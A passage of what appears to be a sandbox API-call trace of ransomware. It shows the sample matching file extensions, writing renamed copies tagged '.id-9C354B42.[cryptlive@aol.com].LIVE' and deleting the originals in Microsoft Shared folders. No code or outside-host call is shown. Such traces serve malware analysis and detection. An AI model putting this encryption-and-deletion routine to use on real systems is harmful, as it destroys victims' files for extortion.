lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0056.582] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\msgfilt.dll") returned 66 [0056.582] lstrlenW (lpString=".dbf") returned 4 [0056.582] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0056.582] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\msgfilt.dll") returned 66 [0056.582] lstrlenW (lpString=".1cd") returned 4 [0056.582] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0056.582] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\msgfilt.dll") returned 66 [0056.582] lstrlenW (lpString=".jpg") returned 4 [0056.582] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0056.582] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\msgfilt.dll") returned 66 [0056.582] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\msgfilt.dll") returned 66 [0056.582] lstrlenW (lpString=".doc") returned 4 [0056.582] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0056.582] lstrlenW (lpString=".docx") returned 5 [0056.583] lstrcmpiW (lpString1=".docx", lpString2="t.dll") returned -1 [0056.583] lstrlenW (lpString=".pdf") returned 4 [0056.583] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0056.583] lstrlenW (lpString=".xls") returned 4 [0056.583] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0056.583] lstrlenW (lpString=".xlsx") returned 5 [0056.583] lstrcmpiW (lpString1=".xlsx", lpString2="t.dll") returned -1 [0056.583] lstrlenW (lpString=".ppt") returned 4 [0056.583] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0056.583] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\msgfilt.dll") returned 66 [0056.583] lstrlenW (lpString=".zip") returned 4 [0056.583] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0056.583] lstrlenW (lpString=".rar") returned 4 [0056.583] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0056.583] lstrlenW (lpString=".bz2") returned 4 [0056.583] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0056.583] lstrlenW (lpString=".7z") returned 3 [0056.583] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0056.583] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\msgfilt.dll") returned 66 [0056.583] lstrlenW (lpString=".dbf") returned 4 [0056.583] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0056.583] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\msgfilt.dll") returned 66 [0056.583] lstrlenW (lpString=".1cd") returned 4 [0056.583] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0056.583] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\msgfilt.dll") returned 66 [0056.583] lstrlenW (lpString=".jpg") returned 4 [0056.583] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0056.584] lstrcmpiW (lpString1=".dll", lpString2=".LIVE") returned -1 [0056.584] lstrlenW (lpString="odffilt.dll") returned 11 [0056.584] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\odffilt.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\filters\\odffilt.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x200 [0056.585] GetFileSizeEx (in: hFile=0x200, lpFileSize=0x328ff1c | out: lpFileSize=0x328ff1c*=1312656) returned 1 [0056.585] CloseHandle (hObject=0x200) returned 1 [0056.585] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\odffilt.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\filters\\odffilt.dll")) returned 0x20 [0056.585] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\odffilt.dll.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\common files\\microsoft shared\\filters\\odffilt.dll.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0056.585] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\odffilt.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\filters\\odffilt.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x200 [0056.585] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec8 | out: lpNewFilePointer=0x0) returned 1 [0056.585] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec8 | out: lpNewFilePointer=0x0) returned 1 [0056.586] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\odffilt.dll.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\common files\\microsoft shared\\filters\\odffilt.dll.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x20c [0056.586] GetLastError () returned 0x0 [0056.586] ReadFile (in: hFile=0x200, lpBuffer=0x3c40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x328fed4, lpOverlapped=0x0 | out: lpBuffer=0x3c40020*, lpNumberOfBytesRead=0x328fed4*=0xffff0, lpOverlapped=0x0) returned 1 [0056.863] WriteFile (in: hFile=0x20c, lpBuffer=0x3c40020*, nNumberOfBytesToWrite=0xffff0, lpNumberOfBytesWritten=0x328fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c40020*, lpNumberOfBytesWritten=0x328fc9c*=0xffff0, lpOverlapped=0x0) returned 1 [0056.916] ReadFile (in: hFile=0x200, lpBuffer=0x3c40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x328fed4, lpOverlapped=0x0 | out: lpBuffer=0x3c40020*, lpNumberOfBytesRead=0x328fed4*=0x407a0, lpOverlapped=0x0) returned 1 [0057.191] WriteFile (in: hFile=0x20c, lpBuffer=0x3c40020*, nNumberOfBytesToWrite=0x407b0, lpNumberOfBytesWritten=0x328fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c40020*, lpNumberOfBytesWritten=0x328fc9c*=0x407b0, lpOverlapped=0x0) returned 1 [0057.199] ReadFile (in: hFile=0x200, lpBuffer=0x3c40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x328fed4, lpOverlapped=0x0 | out: lpBuffer=0x3c40020*, lpNumberOfBytesRead=0x328fed4*=0x0, lpOverlapped=0x0) returned 1 [0057.200] WriteFile (in: hFile=0x20c, lpBuffer=0x3c40020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x328fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c40020*, lpNumberOfBytesWritten=0x328fc9c*=0xea, lpOverlapped=0x0) returned 1 [0057.200] SetEndOfFile (hFile=0x20c) returned 1 [0057.200] CloseHandle (hObject=0x20c) returned 1 [0057.201] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec8 | out: lpNewFilePointer=0x0) returned 1 [0057.201] SetEndOfFile (hFile=0x200) returned 1 [0057.242] CloseHandle (hObject=0x200) returned 1 [0057.242] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\odffilt.dll.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0057.242] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\odffilt.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\filters\\odffilt.dll")) returned 1 [0057.242] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\odffilt.dll") returned 66 [0057.242] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\odffilt.dll") returned 66 [0057.242] lstrlenW (lpString=".doc") returned 4 [0057.242] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0057.242] lstrlenW (lpString=".docx") returned 5 [0057.242] lstrcmpiW (lpString1=".docx", lpString2="t.dll") returned -1 [0057.242] lstrlenW (lpString=".pdf") returned 4 [0057.242] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0057.242] lstrlenW (lpString=".xls") returned 4 [0057.242] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0057.243] lstrlenW (lpString=".xlsx") returned 5 [0057.243] lstrcmpiW (lpString1=".xlsx", lpString2="t.dll") returned -1 [0057.243] lstrlenW (lpString=".ppt") returned 4 [0057.243] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0057.243] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\odffilt.dll") returned 66 [0057.243] lstrlenW (lpString=".zip") returned 4 [0057.243] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0057.243] lstrlenW (lpString=".rar") returned 4 [0057.243] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0057.243] lstrlenW (lpString=".bz2") returned 4 [0057.243] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0057.243] lstrlenW (lpString=".7z") returned 3 [0057.243] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0057.243] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\odffilt.dll") returned 66 [0057.243] lstrlenW (lpString=".dbf") returned 4 [0057.243] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0057.243] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\odffilt.dll") returned 66 [0057.243] lstrlenW (lpString=".1cd") returned 4 [0057.243] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0057.243] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\odffilt.dll") returned 66 [0057.243] lstrlenW (lpString=".jpg") returned 4 [0057.243] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0057.243] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\odffilt.dll") returned 66 [0057.243] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\odffilt.dll") returned 66 [0057.243] lstrlenW (lpString=".doc") returned 4 [0057.243] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0057.243] lstrlenW (lpString=".docx") returned 5 [0057.243] lstrcmpiW (lpString1=".docx", lpString2="t.dll") returned -1 [0057.243] lstrlenW (lpString=".pdf") returned 4 [0057.243] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0057.243] lstrlenW (lpString=".xls") returned 4 [0057.243] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0057.243] lstrlenW (lpString=".xlsx") returned 5 [0057.244] lstrcmpiW (lpString1=".xlsx", lpString2="t.dll") returned -1 [0057.244] lstrlenW (lpString=".ppt") returned 4 [0057.244] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0057.244] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\odffilt.dll") returned 66 [0057.244] lstrlenW (lpString=".zip") returned 4 [0057.244] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0057.244] lstrlenW (lpString=".rar") returned 4 [0057.244] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0057.244] lstrlenW (lpString=".bz2") returned 4 [0057.244] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0057.244] lstrlenW (lpString=".7z") returned 3 [0057.244] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0057.244] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\odffilt.dll") returned 66 [0057.244] lstrlenW (lpString=".dbf") returned 4 [0057.244] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0057.244] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\odffilt.dll") returned 66 [0057.244] lstrlenW (lpString=".1cd") returned 4 [0057.244] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0057.244] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\odffilt.dll") returned 66 [0057.244] lstrlenW (lpString=".jpg") returned 4 [0057.244] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0057.244] lstrcmpiW (lpString1=".FLT", lpString2=".LIVE") returned -1 [0057.245] lstrlenW (lpString="PICTIM32.FLT") returned 12 [0057.246] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\PICTIM32.FLT" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\pictim32.flt"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x200 [0057.246] GetFileSizeEx (in: hFile=0x200, lpFileSize=0x328ff1c | out: lpFileSize=0x328ff1c*=73080) returned 1 [0057.246] CloseHandle (hObject=0x200) returned 1 [0057.246] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\PICTIM32.FLT" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\pictim32.flt")) returned 0x20 [0057.246] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\PICTIM32.FLT.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\pictim32.flt.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0057.246] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\PICTIM32.FLT" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\pictim32.flt"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x200 [0057.246] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec8 | out: lpNewFilePointer=0x0) returned 1 [0057.246] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec8 | out: lpNewFilePointer=0x0) returned 1 [0057.246] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\PICTIM32.FLT.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\pictim32.flt.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1bc [0059.920] GetLastError () returned 0x0 [0059.920] ReadFile (in: hFile=0x200, lpBuffer=0x3c40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x328fed4, lpOverlapped=0x0 | out: lpBuffer=0x3c40020*, lpNumberOfBytesRead=0x328fed4*=0x11d78, lpOverlapped=0x0) returned 1 [0059.923] WriteFile (in: hFile=0x1bc, lpBuffer=0x3c40020*, nNumberOfBytesToWrite=0x11d80, lpNumberOfBytesWritten=0x328fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c40020*, lpNumberOfBytesWritten=0x328fc9c*=0x11d80, lpOverlapped=0x0) returned 1 [0059.925] ReadFile (in: hFile=0x200, lpBuffer=0x3c40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x328fed4, lpOverlapped=0x0 | out: lpBuffer=0x3c40020*, lpNumberOfBytesRead=0x328fed4*=0x0, lpOverlapped=0x0) returned 1 [0059.925] WriteFile (in: hFile=0x1bc, lpBuffer=0x3c40020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x328fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c40020*, lpNumberOfBytesWritten=0x328fc9c*=0xec, lpOverlapped=0x0) returned 1 [0059.925] SetEndOfFile (hFile=0x1bc) returned 1 [0059.925] CloseHandle (hObject=0x1bc) returned 1 [0059.925] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec8 | out: lpNewFilePointer=0x0) returned 1 [0059.925] SetEndOfFile (hFile=0x200) returned 1 [0059.926] CloseHandle (hObject=0x200) returned 1 [0059.927] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\PICTIM32.FLT.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0059.927] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\PICTIM32.FLT" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\pictim32.flt")) returned 1 [0059.927] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\PICTIM32.FLT") returned 67 [0059.927] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\PICTIM32.FLT") returned 67 [0059.927] lstrlenW (lpString=".doc") returned 4 [0059.927] lstrcmpiW (lpString1=".doc", lpString2=".FLT") returned -1 [0059.927] lstrlenW (lpString=".docx") returned 5 [0059.927] lstrcmpiW (lpString1=".docx", lpString2="2.FLT") returned -1 [0059.927] lstrlenW (lpString=".pdf") returned 4 [0059.927] lstrcmpiW (lpString1=".pdf", lpString2=".FLT") returned 1 [0059.927] lstrlenW (lpString=".xls") returned 4 [0059.927] lstrcmpiW (lpString1=".xls", lpString2=".FLT") returned 1 [0059.927] lstrlenW (lpString=".xlsx") returned 5 [0059.927] lstrcmpiW (lpString1=".xlsx", lpString2="2.FLT") returned -1 [0059.927] lstrlenW (lpString=".ppt") returned 4 [0059.927] lstrcmpiW (lpString1=".ppt", lpString2=".FLT") returned 1 [0059.927] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\PICTIM32.FLT") returned 67 [0059.927] lstrlenW (lpString=".zip") returned 4 [0059.927] lstrcmpiW (lpString1=".zip", lpString2=".FLT") returned 1 [0059.927] lstrlenW (lpString=".rar") returned 4 [0059.927] lstrcmpiW (lpString1=".rar", lpString2=".FLT") returned 1 [0059.927] lstrlenW (lpString=".bz2") returned 4 [0059.927] lstrcmpiW (lpString1=".bz2", lpString2=".FLT") returned -1 [0059.927] lstrlenW (lpString=".7z") returned 3 [0059.928] lstrcmpiW (lpString1=".7z", lpString2="FLT") returned -1 [0059.928] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\PICTIM32.FLT") returned 67 [0059.928] lstrlenW (lpString=".dbf") returned 4 [0059.928] lstrcmpiW (lpString1=".dbf", lpString2=".FLT") returned -1 [0059.928] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\PICTIM32.FLT") returned 67 [0059.928] lstrlenW (lpString=".1cd") returned 4 [0059.928] lstrcmpiW (lpString1=".1cd", lpString2=".FLT") returned -1 [0059.928] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\PICTIM32.FLT") returned 67 [0059.928] lstrlenW (lpString=".jpg") returned 4 [0059.928] lstrcmpiW (lpString1=".jpg", lpString2=".FLT") returned 1 [0059.928] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\PICTIM32.FLT") returned 67 [0059.928] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\PICTIM32.FLT") returned 67 [0059.928] lstrlenW (lpString=".doc") returned 4 [0059.928] lstrcmpiW (lpString1=".doc", lpString2=".FLT") returned -1 [0059.928] lstrlenW (lpString=".docx") returned 5 [0059.928] lstrcmpiW (lpString1=".docx", lpString2="2.FLT") returned -1 [0059.928] lstrlenW (lpString=".pdf") returned 4 [0059.928] lstrcmpiW (lpString1=".pdf", lpString2=".FLT") returned 1 [0059.928] lstrlenW (lpString=".xls") returned 4 [0059.928] lstrcmpiW (lpString1=".xls", lpString2=".FLT") returned 1 [0059.928] lstrlenW (lpString=".xlsx") returned 5 [0059.928] lstrcmpiW (lpString1=".xlsx", lpString2="2.FLT") returned -1 [0059.928] lstrlenW (lpString=".ppt") returned 4 [0059.928] lstrcmpiW (lpString1=".ppt", lpString2=".FLT") returned 1 [0059.928] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\PICTIM32.FLT") returned 67 [0059.928] lstrlenW (lpString=".zip") returned 4 [0059.928] lstrcmpiW (lpString1=".zip", lpString2=".FLT") returned 1 [0059.928] lstrlenW (lpString=".rar") returned 4 [0059.928] lstrcmpiW (lpString1=".rar", lpString2=".FLT") returned 1 [0059.928] lstrlenW (lpString=".bz2") returned 4 [0059.928] lstrcmpiW (lpString1=".bz2", lpString2=".FLT") returned -1 [0059.928] lstrlenW (lpString=".7z") returned 3 [0059.928] lstrcmpiW (lpString1=".7z", lpString2="FLT") returned -1 [0059.928] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\PICTIM32.FLT") returned 67 [0059.928] lstrlenW (lpString=".dbf") returned 4 [0059.929] lstrcmpiW (lpString1=".dbf", lpString2=".FLT") returned -1 [0059.929] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\PICTIM32.FLT") returned 67 [0059.929] lstrlenW (lpString=".1cd") returned 4 [0059.929] lstrcmpiW (lpString1=".1cd", lpString2=".FLT") returned -1 [0059.929] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\PICTIM32.FLT") returned 67 [0059.929] lstrlenW (lpString=".jpg") returned 4 [0059.929] lstrcmpiW (lpString1=".jpg", lpString2=".FLT") returned 1 [0059.929] lstrcmpiW (lpString1=".dll", lpString2=".LIVE") returned -1 [0059.929] lstrlenW (lpString="msitss55.dll") returned 12 [0059.929] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Help\\msitss55.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\help\\msitss55.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x188 [0062.677] GetFileSizeEx (in: hFile=0x188, lpFileSize=0x328ff1c | out: lpFileSize=0x328ff1c*=430080) returned 1 [0062.677] CloseHandle (hObject=0x188) returned 1 [0062.677] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Help\\msitss55.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\help\\msitss55.dll")) returned 0x20 [0062.677] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Help\\msitss55.dll.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\common files\\microsoft shared\\help\\msitss55.dll.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0062.677] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Help\\msitss55.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\help\\msitss55.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x188 [0062.677] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec8 | out: lpNewFilePointer=0x0) returned 1 [0062.677] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec8 | out: lpNewFilePointer=0x0) returned 1 [0062.678] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Help\\msitss55.dll.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\common files\\microsoft shared\\help\\msitss55.dll.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x214 [0062.678] GetLastError () returned 0x0 [0062.678] ReadFile (in: hFile=0x188, lpBuffer=0x3c40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x328fed4, lpOverlapped=0x0 | out: lpBuffer=0x3c40020*, lpNumberOfBytesRead=0x328fed4*=0x69000, lpOverlapped=0x0) returned 1 [0062.940] WriteFile (in: hFile=0x214, lpBuffer=0x3c40020*, nNumberOfBytesToWrite=0x69010, lpNumberOfBytesWritten=0x328fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c40020*, lpNumberOfBytesWritten=0x328fc9c*=0x69010, lpOverlapped=0x0) returned 1 [0062.948] ReadFile (in: hFile=0x188, lpBuffer=0x3c40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x328fed4, lpOverlapped=0x0 | out: lpBuffer=0x3c40020*, lpNumberOfBytesRead=0x328fed4*=0x0, lpOverlapped=0x0) returned 1 [0062.948] WriteFile (in: hFile=0x214, lpBuffer=0x3c40020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x328fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c40020*, lpNumberOfBytesWritten=0x328fc9c*=0xec, lpOverlapped=0x0) returned 1 [0062.948] SetEndOfFile (hFile=0x214) returned 1 [0062.948] CloseHandle (hObject=0x214) returned 1 [0062.948] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec8 | out: lpNewFilePointer=0x0) returned 1 [0062.948] SetEndOfFile (hFile=0x188) returned 1 [0062.952] CloseHandle (hObject=0x188) returned 1 [0062.952] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Help\\msitss55.dll.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0062.953] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Help\\msitss55.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\help\\msitss55.dll")) returned 1 [0062.953] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Help\\msitss55.dll") returned 64 [0062.953] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Help\\msitss55.dll") returned 64 [0062.953] lstrlenW (lpString=".doc") returned 4 [0062.953] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0062.953] lstrlenW (lpString=".docx") returned 5 [0062.953] lstrcmpiW (lpString1=".docx", lpString2="5.dll") returned -1 [0062.953] lstrlenW (lpString=".pdf") returned 4 [0062.953] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0062.953] lstrlenW (lpString=".xls") returned 4 [0062.953] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0062.953] lstrlenW (lpString=".xlsx") returned 5 [0062.953] lstrcmpiW (lpString1=".xlsx", lpString2="5.dll") returned -1 [0062.953] lstrlenW (lpString=".ppt") returned 4 [0062.953] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0062.953] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Help\\msitss55.dll") returned 64 [0062.953] lstrlenW (lpString=".zip") returned 4 [0062.953] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0062.953] lstrlenW (lpString=".rar") returned 4 [0062.953] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0062.953] lstrlenW (lpString=".bz2") returned 4 [0062.953] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0062.953] lstrlenW (lpString=".7z") returned 3 [0062.953] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0062.954] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Help\\msitss55.dll") returned 64 [0062.954] lstrlenW (lpString=".dbf") returned 4 [0062.954] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0062.954] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Help\\msitss55.dll") returned 64 [0062.954] lstrlenW (lpString=".1cd") returned 4 [0062.954] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0062.954] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Help\\msitss55.dll") returned 64 [0062.954] lstrlenW (lpString=".jpg") returned 4 [0062.954] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0062.954] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Help\\msitss55.dll") returned 64 [0062.954] 